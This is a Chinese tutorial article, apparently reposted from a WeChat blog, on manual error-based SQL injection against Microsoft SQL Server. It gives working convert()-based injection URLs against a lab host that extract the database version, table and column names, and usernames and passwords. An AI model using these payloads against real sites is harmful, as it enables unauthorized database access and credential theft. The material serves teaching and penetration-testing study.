前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Microsoft SQL Server手注之报错注入

Microsoft SQL Server手注之报错注入

作者头像
渗透攻击红队
发布于 2020-05-22 10:52:44
发布于 2020-05-22 10:52:44
4.1K00
代码可运行
举报
文章被收录于专栏:漏洞知识库漏洞知识库
运行总次数:0
代码可运行

简介

今天主要分享下sql注入中的报错型,在大多网上的文章会列出类似于公式的句子,却没解释为什么要使用这样的函数,为什么使用这个函数会出现报错而导致sql注入。

convert()函数,CONVERT()函数是把⽇期转换为新数据类型的通⽤函数。

语法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CONVERT(data_type(length),data_to_be_converted,style)
注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。

⽰例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110) 
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)

结果类似:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635

原理

对于 convert(int,@@version)convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

满⾜条件的函数还有很多:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
convert() 
file_name() 
db_name() 
col_name() 
filegroup_name()
object_name() 
schema_name() 
type_name() 
cast()

注⼊流程

查询基本信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
convert(int,@@version)     获取版本信息 
convert(int,db_name())     数据库名字 
convert(int,user)      当前⽤户名 
convert(int,@@SERVERNAME)  获取有关服务器主机的信息

获取版本信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=convert(int,@@version)

注意在这里我们直接吧函数放到 id= 的后面,因为 id=1 查询的是整型(int),而我们的 convert(int,@@version) 获取到的版本信息是字符型,所以他就会报错,从而爆出版本信息!

或者也可以使用这条语句也能实现上面的查询结果:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=1 and 1=(convert(int,@@version))

获取当前数据库的表名

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CONVERT(int,(select top 1 table_name from information_schema.columns))
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=CONVERT(int,(select top 1 table_name from information_schema.columns)

我们获取到了当前网站数据库的表名是:users

获取列名

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar)))
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273  as varchar)))

这样我们就获取到了第一个列名 id

那么想要获取第二个列名我们就可以再后面加一个条件语句:and COLUMN_NAME != 'id'

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id'))

这样我们就获取到了第二个列名:username

想要获取第三个也是以此类推加条件语句:and COLUMN_NAME != 'username'

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id' and COLUMN_NAME != 'username'))

这样我们就获取到了第三个列名 password

获取数据

我们按照上面的顺序获取到了网站的表名:users,列名有:idusernamepassword。很明显账号密码就在列名的usernamepassword,那么我们就可以获取数据了:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
convert(int,(select top 1 列名 from 表名))
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users))

获取到了第一个username列名的第一个数据:saul

如果想获取到 username 里面的第二个数据那么就加一个条件语句:where username!='saul'

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users where username!='saul'))

这样就获取到的 username 的第二个数据!想要获取第二个就以此类推!

既然 username 我们获取到了两个:sauladmin!那么我们就要获取到他们的密码了!

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users))

获取到第一个 password 列的值为:saul520

想要获取下一个就加一个 where 条件语句:where password!='saul520'

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users where password!='saul520'))

这样就获取到了第二个password的数据了!

至此Mssql报错注入就到此为止!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-04-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 SaulGoodman 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
请问self.line_fitness()是使用霍夫变换来进行直线拟合的吗?
请问self.line_fitness()是使用霍夫变换来进行直线拟合的吗?
回复回复点赞举报
推荐阅读
[oeasy]python0074_设置高亮色_color_highlight_ansi_控制终端颜色
更多颜色回忆上次内容上次我们搞的还是颜色 FG foreground 前景色 30-37BG background 背景色 40-47这些 都可以和字体样式 结合起来难道 就这几种颜色 吗??🤔有点少啊!有些颜色 也和想象不一致 金黄色 也不够黄啊?!明确概念\是 转义字符escape character\和其他字符 可以构成转义序列\t\n\r\e 也是转义序列 \e 这个转义序列转义到 escape 这样的状态从正常的输出退出进入 control sequences 控制序列控制序列 不直接输出到屏
oeasy
2023/02/08
5760
[oeasy]python0074_设置高亮色_color_highlight_ansi_控制终端颜色
[oeasy]python0080_设置RGB颜色_24bit_24位真彩色_颜色设置
RGB颜色 回忆上次内容 上次 首先了解了 索引颜色 \33[38;5;XXXm 设置 前景为索引色 \33[48;5;XXXm 设置 背景为索引色 RGB每种颜色 可选0-5 总共 6 级 想用 精确RGB值 真实地 大红色画个 大红桃心 ♥️ 有可能吗??🤔 rgb 模式 关于 RGB 模式 RGB 就是 红绿蓝 可以搜索《oeasy 教您玩转 ps》第 4 话 RGB颜色模式 的 ANSI标准如下 r、g、b 都是0到255的具体数值 语法 很简单 真彩色 24-bit
oeasy
2023/02/10
5250
[oeasy]python0080_设置RGB颜色_24bit_24位真彩色_颜色设置
[oeasy]python0074_修改字体背景颜色_background_color_背景色
修改背景色回忆上次内容上次将asciiart和颜色一起来玩 7 种基本色变化多端不过到目前为止 改的 都是前景色背景色可以修改吗?重温参数具体动手试试print("\033[40moeasy\33[0mgo")print("\033[41moeasy\33[0mgo")print("\033[42moeasy\33[0mgo")print("\033[43moeasy\33[0mgo")print("\033[44moeasy\33[0mgo")print("\033[45moeasy\33[0mgo"
oeasy
2023/02/07
1.1K0
[oeasy]python0074_修改字体背景颜色_background_color_背景色
[oeasy]python0082_VT100_演化_颜色设置_VT选项_基础色_高亮色_索引色_RGB总结
更多颜色 回忆上次内容 上次 了解了控制序列 背后的故事 一切标准 都是 从无到有 的 就连 负责标准的组织 也是 从无到有 的 VT-05 奠定了 基础颜色 黑底 绿字 隔行 扫描 但 多颜色设置 是如何出现 的呢??🤔 控制字符 1974年 产品 从VT05 进化到VT50 控制字符 层出不穷 控制序列 中 ABCDH 被留了下来 其他的 控制字符 被更新 VT52 1975年 DEC 发布了 VT52 80*24 成为 经典屏幕字符分辨率 VT100 1978年 80*24
oeasy
2023/02/13
7770
[oeasy]python0082_VT100_演化_颜色设置_VT选项_基础色_高亮色_索引色_RGB总结
[oeasy]python0072_修改字体前景颜色_foreground_color_font
修改颜色回忆上次内容m 可以改变字体样式 0-9 之间设置的都是字体效果0 重置为默认1 变亮2 变暗3 斜体4 下划线5 慢闪6 快闪7 前景背景互换8 隐藏9 中划线叠加效果 \33[1;3moeasy;分割取消效果 21 取消 122 取消 223 取消 3一直到 290 是全部取消,回到默认最后发现 真的可以 设置颜色???👁颜色是重要的不同颜色 可以提示出 信息重要性的级别颜色本身也是信息 OFF_INT = 2147483647ERROR_INT = 40000WARN_INT = 3000
oeasy
2023/02/03
8620
[oeasy]python0072_修改字体前景颜色_foreground_color_font
[oeasy]python0072_自定义小动物变色_cowsay_color_boxes_asciiart
修改颜色回忆上次内容上次搞的是 颜色 前景颜色 总共有 7 种基本色还有什么 好玩的 么?🤔可以 给小动物 上色 吗?🤔配合先将cowsay结果 输出重定向sudo apt install cowsaycowsay -f turtle "oeasy" > t.py 我想要 更换 所说话的颜色可能么? 先输出重定向 然后封进三引号再加上开头和结尾修改文件解决 行尾转义字符(escaping character)\ :%s/\\$/\\\\/g : 执行命令行模式% 对所有行执行命令s 执行的是替换命令\\
oeasy
2023/02/04
3090
[oeasy]python0072_自定义小动物变色_cowsay_color_boxes_asciiart
[oeasy]python0131_[趣味拓展]各种符号_汉语拼音符号_中文全角英文字母_中文全角标点
1.[á]/[â] 2.[ǎ] 3.[ā] 4.[a̖]/[ȁ] 5.[a̗] 6.[à] 总结
oeasy
2023/04/09
9590
[oeasy]python0131_[趣味拓展]各种符号_汉语拼音符号_中文全角英文字母_中文全角标点
[oeasy]python0070_ 字体样式_下划线_中划线_闪动效果_反相_取消效果
字体样式回忆上次内容m 可以改变字体样式 0-10 之间设置的都是字体效果0 复原1 变亮2 变暗从3到10 又是什么效果 呢??真的可以blink闪烁吗?👁3m3m 实现斜体字的效果4m4m 对应着下划线控制范围通过控制字符串的位置 可以控制效果范围print("\033[0mthis is an \033[4manchor\033[0m")print("\033[0mthis is \033[4man anchor\033[0m")print("\033[0mthis is\033[4m a
oeasy
2023/02/02
1.1K0
[oeasy]python0070_ 字体样式_下划线_中划线_闪动效果_反相_取消效果
控制台输出颜色控制(Console
前端时间,写了一篇 PHP 在 Console 模式下的进度显示 ,正好最近的一个数据合并项目需要用到控制台颜色输出,所以就把相关的信息整理下,写到OSC的博客中。
霡霂
2018/06/04
10.9K1
控制台输出颜色控制(Console
[oeasy]python0081_ANSI序列由来_终端机_VT100_DEC_VT选项_终端控制序列
更多颜色回忆上次内容上次 首先了解了RGB颜色设置可以把一些抽象的色彩名字 落实到具体的 RGB颜色计算机所做的一切 其实就是量化、编码把生活的一切都进行数字化标准 是ANSI制定的 这个ANSI 又是 怎么来的 呢??🤔由来ANSI 听起来 是 官方组织其实 是 专业技能人士的 民间组织ANSI进化过程1918 美国工程标准委员会(AESC) 美国政府的三个部(商务部、陆军部、海军部) 也参与了该委员会的筹备工作美国材料试验协会(ASTM)美国机械工程师协会(ASME)美国矿业与冶金工程师协会(AS
oeasy
2023/02/11
4320
[oeasy]python0081_ANSI序列由来_终端机_VT100_DEC_VT选项_终端控制序列
[oeasy]python091_列表_索引_index_中括号_索引函数
for n in range(256, 15000): print(chr(n), end=" ")
oeasy
2025/04/23
570
[oeasy]python091_列表_索引_index_中括号_索引函数
python 中输出字符的颜色控制属性
在开发项目过程中,为了方便调试代码,经常会向stdout中输出一些日志,默认的这些日志就直接显示在了终端中。而一般的应用服务器,第三方库,甚至服务器的一些通告也会在终端中显示,这样就搅乱了我们想要的信息。 书写格式,和相关说明如下: 1 格式:\033[显示方式;前景色;背景色m 2 3 说明: 4 前景色 背景色 颜色 5 --------------------------------------- 6 30 40
学到老
2018/03/19
1.5K0
python 中输出字符的颜色控制属性
Python print输出带颜色 总结
显示方式: 0(默认值)、1(高亮)、22(非粗体)、4(下划线)、24(非下划线)、 5(闪烁)、25(非闪烁)、7(反显)、27(非反显) 前景色: 30(黑色)、31(红色)、32(绿色)、 33(黄色)、34(蓝色)、35(洋 红)、36(青色)、37(白色) 背景色: 40(黑色)、41(红色)、42(绿色)、 43(黄色)、44(蓝色)、45(洋 红)、46(青色)、47(白色)
用户9925864
2022/07/27
1.6K0
Python print输出带颜色 总结
python打印字体颜色
显示方式           意义 ------------------------- 0                终端默认设置 1                高亮显示 4                使用下划线 5                闪烁 7                反白显示 8                不可见
py3study
2020/01/10
1.7K0
一个 print 函数,挺会玩啊?
这是「进击的Coder」的第 700 篇技术分享 作者:HOLL4ND 来源:Python 编程时光 “ 阅读本文大概需要 7 分钟。 ” 在终端中,输出的字体总是单一颜色的,黑底白字。但是在一些场景并不能很好的满足输出的需求,比如在大量而快速输出中,输出一些提示性或者警告性的信息,普通的黑底白字输出可能或起不到作用。 本文将介绍如何输出颜色字体到终端界面中。 # 1. ANSI 转义序列 其实终端不仅能够显示程序的输出。它可以显示移动光标、为文本着色、清除整个屏幕,并且不仅仅是静态输出。比如颜色字体或
崔庆才
2022/07/26
4820
一个 print 函数,挺会玩啊?
ANSI控制码
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
sofu456
2019/10/22
1.3K0
ANSI控制码
Python风骚的颜色输出与进度条打印
大家平时在Linux/Windows下安装软件时,经常会出现进度条和百分比的提示,Python是否能实现这样的打印?安装过程中,经常会看到很多带颜色的安装说明,我们在python输出时,确是千篇一律的黑底白色,是否想过打印的炫酷一些呢?
AI算法与图像处理
2019/11/27
2.8K0
[oeasy]python0066_控制序列_光标位置设置_ESC_逃逸字符_CSI
光标位置回忆上次内容上次讲了 三引号的输出三引号中 回车和引号 都会 被原样输出\ 还是需要从 \\转义黑暗森林 快被摸排清了 还有哪个 转义序列 没 研究过吗?🤔\e是 干什么的?🤔回忆转义转义转义 转化含义\反斜杠(backslash)加了之后字符就不是原来的意思了 转义么转义转义 转化含义所以\反斜杠这个字符 也叫做转义字符Escape character\b 这两个字符的序列算是一个转义序列 Escape sequence\ 这个转义字符会让 \b转义序列 转义为 Backspace 这个含义B
oeasy
2023/01/29
1.5K0
[oeasy]python0066_控制序列_光标位置设置_ESC_逃逸字符_CSI
Python终端显示彩色字符(封装了Co
         有时候需要在终端显示彩色的字符,即根据需要显示不同颜色的字符串,比如我们要在
py3study
2020/01/09
2.1K0
python中让打印有不同的颜色
情景:在写小的脚本时,我们如果不需要输出到文件,也许只是想在终端中显示信息,这时可以尝试改变输出文字的颜色和样式,突出显示或者只是想秀一下。
py3study
2020/01/09
2.2K0
推荐阅读
相关推荐
[oeasy]python0074_设置高亮色_color_highlight_ansi_控制终端颜色
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档